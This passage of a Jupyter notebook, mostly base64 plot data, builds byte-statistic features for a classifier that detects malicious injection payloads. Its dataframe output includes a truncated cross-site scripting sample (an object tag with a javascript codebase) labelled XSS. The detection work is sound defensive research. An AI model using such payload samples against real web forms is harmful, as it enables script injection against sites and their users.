IkFcBQJkmSVABDmSRJUgEMZZIkSQUwlEmS\nJBXAUCZJklQAQ5kkSVIBDGWSJEkFMJRJkiQVwFAmSZJUAEOZJElSAQxlkiRJBTCUSZIkFcBQJkmS\nVABDmSRJUgEG6nrjiOgHdgJrgZeBrZl5qGN8M3A7cBQYzsy7O8bOAr4NbMrMkbpqLNGWOx5b6BIk\nSdICqHOm7FpgZWZuALYDO8YHImI5cBdwOXAJcFNEnN0x9mngxRprkyRJKkqdoexi4GGAzHwCWNcx\ndgFwKDPHMvMVYB+wsT12J/Ap4Ls11iZJklSU2pYvgTXA4Y7tYxExkJlHpxg7ApwREe8BRjNzb0Tc\n0stJhoZWMTCwbK5qnlarNVjke52KU6mjlM9QAnvRzX50sx8T7EU3+9HNftQbyp4DOjvc3w5kU40N\nAs8Cvw2ciIi3ARcCn4uIazLze9OdZGzshbmtegqt1iCjo0fm7P3m8r1OxcnWMdf9WMzsRTf70c1+\nTLAX3exHtyb1Y6bwWWco2w9sBu6LiPXAwY6xJ4HzI+JM4Hmqpcs7M/OB8RdExNeAbTMFMkmSpKWi\nzlC2G9gUEQeAPuCGiLgeWJ2ZuyLi/cBequvahjPz6RprkSRJKlptoSwzjwPbJu0e6RjfA+yZ4fhL\n66lMkiSpPHXOlGka3otMkiRN5h39JUmSCmAokyRJKoDLlw023TLq8PbL5rkSSZLkTJkkSVIBDGWS\nJEkFcPlSapiZvv3r0rUkLRxnyiRJkgpgKJMkSSqAy5eSXuXSpiQtHGfKJEmSCmAokyRJKoChTJIk\nqQCGMkmSpAIYyiRJkgrgty+lJWqmb1JKksrjTJkkSVIBDGWSJEkFMJRJkiQVwFAmSZJUAEOZJElS\nAQxlkiRJBTCUSZIkFcBQJkmSVABDmSRJUgG8o7+knkz3hIDh7ZfNcyWStDQZyqRFzEcpSdLS4fKl\nJElSAQxlkiRJBTCUSZIkFcBryjRnvBBckqSTZyhT7Wa6GN3AJklSxVCmBWVgkySpUlsoi4h+YCew\nFngZ2JqZhzrGNwO3A0eB4cy8OyKWA8PAecBpwEcz88G6atTUSglKLodWvO2FJDVDnRf6XwuszMwN\nwHZgx/hAO3zdBVwOXALcFBFnA+8GnsnMtwJXAp+ssT5JkqRi1BnKLgYeBsjMJ4B1HWMXAIcycywz\nXwH2ARuB+4Hb2q/po5pFkyRJWvLqvKZsDXC4Y/tYRAxk5tEpxo4AZ2Tm8wARMQg8AHx4tpMMDa1i\nYGDZ3FU9jVZrsPZzLAYlLKWV9t+itHrm2+TP3/R+TGY/JtiLbvajm/2oN5Q9B3R2uL8dyKYaGwSe\nBYiIc4HdwM7MvHe2k4yNvTA31c6g1RpkdPRI7edRb0r6bzGXvzZKCLwno/Pz+3ulm/2YYC+62Y9u\nTerHTOGzzlC2H9gM3BcR64GDHWNPAudHxJnA81RLl3e2ryt7BHhfZn6lxtokSZKKUmco2w1siogD\nVNeH3RAR1wOrM3NXRLwf2Et1XdtwZj4dEf8VGAJui4jxa8venpkv1linJEnSgqstlGXmcWDbpN0j\nHeN7gD2TjrkZuLmumrQ0lHLLDkmS5pLPvpQkSSqAoUySJKkAPmZJmkeL9RuWkqT6OVMmSZJUAGfK\nTpEzH5IkaS44UyZJklQAZ8q0pHi7DEnSYmUok+aYS9qSpJNhKJNOkuGr4uykJM0NrymTJEkqgKFM\nkiSpAC5fSjNwiVKSNF8MZWqM6QKW1z1JkkpgKFPjORsmSSqB15RJkiQVwFAmSZJUAEOZJElSAQxl\nkiRJBTCUSZIkFcBvX0qqjY9gkqTeOVMmSZJUAEOZJElSAQxlkiRJBTCUSZIkFcBQJkmSVABDmSRJ\nUgG8JYakBTHd7TK8VYakpjKU9WDzB7680CVIkqQlzuVLSZKkAhjKJEmSCuDypaSi+GgmSU3lTJkk\nSVIBapspi4h+YCewFngZ2JqZhzrGNwO3A0eB4cy8e7ZjJEmSlqo6ly+vBVZm5oaIWA/sAN4BEBHL\ngbuANwE/BPZHxIPAW6Y7RpJc2pS0lNUZyi4GHgbIzCciYl3H2AXAocwcA4iIfcBGYMMMx0jStGYK\nbHNppvA31zUYNKVmqTOUrQEOd2wfi4iBzDw6xdgR4IxZjplSqzXYN4c1T2nPDifrJM3OPytm1moN\nLnQJRbEf3exHvRf6Pwd0dri/I1xNHhsEnp3lGEmSpCWrzlC2H7gKoH192MGOsSeB8yPizIhYQbV0\n+Y1ZjpEkSVqy+k6cOFHLG3d8k/IXgD7gBuANwOrM3NXx7ct+qm9f/repjsnMkVoKlCRJKkhtoUyS\nJEm98+axkiRJBTCUSZIkFcBnX87AJwxUIuLNwB9m5qUR8a+Ae4ATwN8C783M4wtZ33xp3/R4GDgP\nOA34KPD3NLcfy4C7gaD6/NuAl2hoPwAi4izg28AmqqeV3ENze/G/qb5RD/AU8DGa3Y9bgGuAFVT/\nX/lfNLQfEfEe4D3tzZXAhVT3Nv1jGtiPTs6UzezVpxIA26meMNAoEfFB4E+pfuMAfBz4cGa+lerL\nGE26MdO7gWfan/1K4JM0ux+bATLzLcCHqf6n29h+tEP7p4EX27ua3IuVQF9mXtr+5waa3Y9LgYuo\nnlpzCXAuDe5HZt4z/muD6i8xv031xb9G9qOToWxmXU8lAJr4hIF/BN7Zsf1Gqr/hAfwl8LZ5r2jh\n3A/c1v65j2ompLH9yMwvATe1N19Lda/BxvYDuBP4FPDd9naTe7EWWBURj0TEY+1bHDW5H1dQ3eJp\nN7AHeIhm9wOA9lN7fj4zd2E/AEPZbKZ8wsBCFbMQMvMLwI86dvVl5vhXdsefxNAImfl8Zh6JiEHg\nAarZocb2AyAzj0bEZ4FPAH9BQ/vRXo4Zzcy9Hbsb2Yu2F6hC6hVUy9qN/bXR9hqqv9T/MhP96G9w\nP8bdCvxB++cm//p4laFsZj5h4Md1rvGPP4mhMSLiXOCrwOcz814a3g+AzPxN4PVU15f9VMdQk/qx\nBdgUEV+juj7mc8BZHeNN6gXAPwB/npknMvMfgGeAszvGm9aPZ4C9mflKZibVtZedoaNp/SAifhqI\nzPxqe1fj/ywFQ9lsfMLAj/tO+/oIgLcDX1/AWuZVRJwNPAJ8KDOH27ub3I9/1754GaqZkePA3zSx\nH5m5MTMvaV8j83+A3wD+som9aNtC+xrciDiHatXhkQb3Yx9wZUT0tftxOvCVBvcDqif5fKVju7F/\nlnZq1FLcSdhN9bffA0w8laDpPgDc3X481pNUy3hNcSswBNwWEePXlt0M/ElD+/FF4M8i4nFgOfAf\nqXrQ1F8fkzX598pngHsiYh/Vt+m2AP+PhvYjMx+KiI3AN6kmQ95L9Y3URvajLYB/6thu8u+XV3lH\nf0mSpAK4fClJklQAQ5kkSVIBDGWSJEkFMJRJkiQVwFAmSZJUAEOZJHWIiHvad+iXpHllKJMkSSqA\nN4+VtORFxBeBezPzgfb231DdrPJjwCqqmwJ/MDPv7zjmPOBrmXlee/v3ATLz9yPiSuAjVDfNfQr4\nrcx8Zr4+j6SlyZkySU3weeDXACLifKpndP4HYGtmvgG4Ebi9lzeKiBZwB3BFZv4isBf4wzqKltQs\nzpRJaoL/AXwiIgaBXwf+Avg4cHVE/DKwHljd43u9GfgXwFcjAmAZ8IM5r1hS4zhTJmnJy8xXgIeA\na4BfoQplXwf+DfBtqmXMvkmHnZi0b3n738uAfZl5YWZeCLwJeFd91UtqCkOZpKb4PNV1ZD8AjgCv\nB27PzP8JXE4Vtjo9CwxFRCsiTgOubO//a2BDRLy+vX0b8Ed1Fy9p6TOUSWqEzNwPnAH8eWb+APhT\n4O8i4jvAWcCqiDi94/WHqcLWt4C/Ar7Z3v89YAtwX0QcBN5AFfYk6ZT0nThxYqFrkCRJajxnyiRJ\nkgpgKJMkSSqAoUySJKkAhjJJkqQCGMokSZIKYCiTJEkqgKFMkiSpAIYySZKkAvx/EXyFon47vw4A\nAAAASUVORK5CYII=\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f7104bb7a90>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def create_feature_std_byte_value(payloads):\n",
    "    '''\n",
    "    Feature\n",
    "    Standard deviation byte value in payload\n",
    "    '''\n",
    "    \n",
    "    payloads['std-byte'] = [ np.std(bytearray(str(row), 'utf8')) for row in payloads['payload']]\n",
    "    return payloads\n",
    "\n",
    "create_feature_std_byte_value(payloads)\n",
    "display(payloads.head())\n",
    "\n",
    "plot_feature_distribution(payloads['std-byte'].astype(int))"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {
    "scrolled": false
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>payload</th>\n",
       "      <th>is_malicious</th>\n",
       "      <th>injection_type</th>\n",
       "      <th>length</th>\n",
       "      <th>non-printable</th>\n",
       "      <th>punctuation</th>\n",
       "      <th>min-byte</th>\n",
       "      <th>max-byte</th>\n",
       "      <th>mean-byte</th>\n",
       "      <th>std-byte</th>\n",
       "      <th>distinct-bytes</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>index</th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>&lt;object classid=\"clsid:...\" codebase=\"javascri...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "      <td>60</td>\n",
       "      <td>0</td>\n",
       "      <td>16</td>\n",
       "      <td>32</td>\n",
       "      <td>118</td>\n",
       "      <td>87.016667</td>\n",
       "      <td>28.774695</td>\n",
       "      <td>25</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>mc_6081_149</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>11</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>48</td>\n",
       "      <td>109</td>\n",
       "      <td>69.363636</td>\n",
       "      <td>23.195896</td>\n",
       "      <td>9</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>shines</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>6</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>101</td>\n",
       "      <td>115</td>\n",
       "      <td>108.333333</td>\n",
       "      <td>5.405758</td>\n",
       "      <td>5</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>revulsion</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>9</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>101</td>\n",
       "      <td>118</td>\n",
       "      <td>111.000000</td>\n",
       "      <td>5.333333</td>\n",
       "      <td>9</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>3857146085955889</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>16</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>48</td>\n",
       "      <td>57</td>\n",
       "      <td>53.687500</td>\n",
       "      <td>2.639099</td>\n",
       "      <td>9</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                 payload  is_malicious  \\\n",
       "index                                                                    \n",
       "0      <object classid=\"clsid:...\" codebase=\"javascri...           1.0   \n",
       "1                                            mc_6081_149           0.0   \n",
       "2                                                 shines           0.0   \n",
       "3                                              revulsion           0.0   \n",
       "4                                       3857146085955889           0.0   \n",
       "\n",
       "      injection_type  length  non-printable  punctuation  min-byte  max-byte  \\\n",
       "index                                                                          \n",
       "0                XSS      60              0           16        32       118   \n",
       "1              LEGAL      11              0            2        48       109   \n",
       "2              LEGAL       6              0            0       101       115   \n",
       "3              LEGAL       9              0            0       101       118   \n",
       "4              LEGAL      16              0            0        48        57   \n",
       "\n",
       "        mean-byte   std-byte  distinct-bytes  \n",
       "index                                         \n",
       "0       87.016667  28.774695              25  \n",
       "1       69.363636  23.195896               9  \n",
       "2      108.333333   5.405758               5  \n",
       "3      111.000000   5.333333               9  \n",
       "4       53.687500   2.639099               9  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Properties of feature: distinct-bytes\n",
      "count    110357.000000\n",
      "mean          9.483087\n",
      "std           7.410797\n",
      "min           1.000000\n",
      "25%           5.000000\n",
      "50%           7.000000\n",
      "75%          10.000000\n",
      "max          76.000000\n",
      "Name: distinct-bytes, dtype: float64\n"
     ]
    },
    {
     "data": {
      "image/png": "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\nqtmhRvZiQmYeiYgvAp8B/pSG9qO9HDOWmbs